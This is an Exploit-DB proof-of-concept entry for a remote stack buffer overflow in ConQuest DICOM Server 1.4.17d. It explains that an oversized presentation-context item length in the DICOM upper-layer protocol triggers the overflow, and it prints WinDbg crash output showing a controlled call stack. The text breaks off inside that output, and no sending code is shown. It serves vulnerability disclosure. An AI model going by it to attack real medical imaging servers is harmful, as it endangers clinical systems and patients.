Exploit-DB #40927
Description: ConQuest DICOM Server 1.4.17d - Stack Buffer (PoC)
Type: dos
Platform: windows
Date: 2016-12-16
Author: LiquidWorm

Exploit:
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE
#
#
# Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute
# Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org
# Affected version: 1.4.17d
#                   1.4.19beta3a
#                   1.4.19beta3b
#
# Summary: A full featured DICOM server has been developed based on the public
# domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software
# are: DICOM training and testing; Demonstration image archives; Image format conversion
# from a scanner with DICOM network access; DICOM image slide making; DICOM image selection
# and (limited) editing; Automatic image forwarding and (de)compression.
#
# The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# ------------------------------------------------------------------------------
# 0:002> g
# (820.fc4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> r
# rax=[PII_REDACTED] rbx=[PII_REDACTED]98c910 rcx=[PII_REDACTED]
# rdx=[PII_REDACTED]46001a rsi=[PII_REDACTED] rdi=[PII_REDACTED]41dc50
# rip=000000013fe09a29 rsp=[PII_REDACTED]98b840 rbp=[PII_REDACTED]98e8e4
#  r8=[PII_REDACTED]41dc40  r9=[PII_REDACTED] r10=[PII_REDACTED]
# r11=0000013f004a0019 r12=[PII_REDACTED]003eb7 r13=[PII_REDACTED]
# r14=[PII_REDACTED] r15=[PII_REDACTED]98c910
# iopl=0         nv up ei pl nz na po nc
# cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
# 0:002> u
# dgate64+0xb9a29:
# 00000001`3fe09a29 488b5108        mov     rdx,qword ptr [rcx+8]
# 00000001`3fe09a2d 488b4110        mov     rax,qword ptr [rcx+10h]
# 00000001`3fe09a31 4885d2          test    rdx,rdx
# 00000001`3fe09a34 7406            je      dgate64+0xb9a3c (00000001`3fe09a3c)
# 00000001`3fe09a36 48894210        mov     qword ptr [rdx+10h],rax
# 00000001`3fe09a3a eb04            jmp     dgate64+0xb9a40 (00000001`3fe09a40)
# 00000001`3fe09a3c 48894328        mov     qword ptr [rbx+28h],rax
# 00000001`3fe09a40 488b5110        mov     rdx,qword ptr [rcx+10h]
# 0:002> 
# dgate64+0xb9a44:
# 00000001`3fe09a44 488b4108        mov     rax,qword ptr [rcx+8]
# 00000001`3fe09a48 4885d2          test    rdx,rdx
# 00000001`3fe09a4b 7406            je      dgate64+0xb9a53 (00000001`3fe09a53)
# 00000001`3fe09a4d 48894208        mov     qword ptr [rdx+8],rax
# 00000001`3fe09a51 eb04            jmp     dgate64+0xb9a57 (00000001`3fe09a57)
# 00000001`3fe09a53 48894330        mov     qword ptr [rbx+30h],rax
# 00000001`3fe09a57 ba18000000      mov     edx,18h
# 00000001`3fe09a5c e804caf4ff      call    dgate64+0x6465 (00000001`3fd56465)
# 0:002> kb e
#  # RetAddr           : Args to Child                                                           : Call Site
# 00 00000001`3fe104d2 : 00000000`00457a28 00000000`[PII_REDACTED]`0298b8d9 00000000`00000000 : dgate64+0xb9a29
# 01 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : dgate64+0xc04d2
# 02 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 03 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 04 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 05 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 06 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 07 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 08 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 09 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 0a 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 0b 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 0c 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 0d 41414141`41414141 : 41414141`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`41414141 : 0x41414141`41414141
# 0:002> !exchain
# 100 stack frames, scanning for handlers...
# Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2)
#   ehandler dgate64+0x552e (00000001`3fd5552e)
# Frame 0x02: error getting module for [PII_REDACTED]
# Frame 0x03: error getting module fo